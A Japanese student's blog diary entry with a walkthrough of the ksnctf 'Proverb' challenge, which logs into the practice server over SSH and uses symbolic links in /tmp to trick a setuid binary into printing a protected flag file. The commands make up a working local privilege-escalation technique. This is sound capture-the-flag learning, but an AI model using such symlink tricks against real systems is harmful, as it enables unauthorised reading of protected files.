強エンジニアになりたい大学生の日記

その日学んだことを日記程度に発信します。

ksnctf(6) シンボリックリンク攻撃

Proverb 70点

とりあえずsshで接続

$ ssh -p 10022 q13@ctfq.sweetduet.info

password: 8zvWx00MakSCQuGq

カレントディレクトリを確認してみる

$ ls -l
total 28
-r-------- 4 q13a q13a    22 Jun  1  2012 flag.txt
---s--x--x 1 q13a q13a 14439 Jun  1  2012 proverb
-r--r--r-- 1 root root   755 Jun  1  2012 proverb.txt
-r--r--r-- 1 root root   151 Jun  1  2012 readme.txt

これを見ると、flag以外はユーザq13でも使えそう。(ここで、proverbに書かれているsはセットIDといい、ほかのユーザーがあたかもrootであるかのように実行できるようにするもの)

proverb.txt

All's well that ends well.
A good beginning makes a good ending.
Many a true word is spoken in jest.
Fear is often greater than the danger.
Go for broke!
Fire is a good servant but a bad master.
The wolf knows what the ill beast thinks.
There is always a next time.
Spare the rod and spoil the child.
The calm before the storm.
The die is cast.
Take heed of the snake in the grass.
Confidence is a plant of slow growth.
Love is blind.
The sky's the limit...
Truth lies at the bottom of a well.
Blood is thicker than water.
Ignorance is bliss.
There's no way out.
Full of courtesy, full of craft.
Heaven helps those who help themselves.
Bad luck often brings good luck.
Misfortunes never come singly.
Nothing ventured, nothing gained.
Eternal Immortality.

proverb

There's no way out.

proverb.txtの中身がランダムに出力されている。

flag.txtのファイル名をproverb.txtに変えてproverbを実行すればよい

シンボリックリンクを用いる。

シンボリックリンクとはUNIX系のOSにおけるファイルやフォルダの代理人ファイルのことです。windowsでいうショートカットのようなもので、フォルダやファイルのコピーを作成するイメージです。

readme.txt

You are not allowed to connect internet and write the home directory.
If you need temporary directory, use /tmp.
Sometimes this machine will be reset.

作業は/tmpでやれということなので、とりあえず/tmpに移動し、flag.txtのシンボリックリンクを作成します。

$ cd /tmp
$ ln -s /home/q13/flag.txt ./proverb.txt

ln: creating symbolic link `./proverb.txt': File exists

proverb.txtはすでに存在しているらしいです。catコマンドで中身を見てみると、「Please make your own subdirectory.」と書かれているので、/tmp直下にmkdirで適当にフォルダを作成します。

$ mkdir subdir
$ cd subdir

ここにflag.txtとproverbのシンボリックリンクを作成します。

$ ln -s /home/q13/flag.txt ./proverb.txt
$ ln -s /home/q13/proverb ./proverb

後はprobervを実行すればフラグゲットです。

また面白い攻撃を学ぶことができました。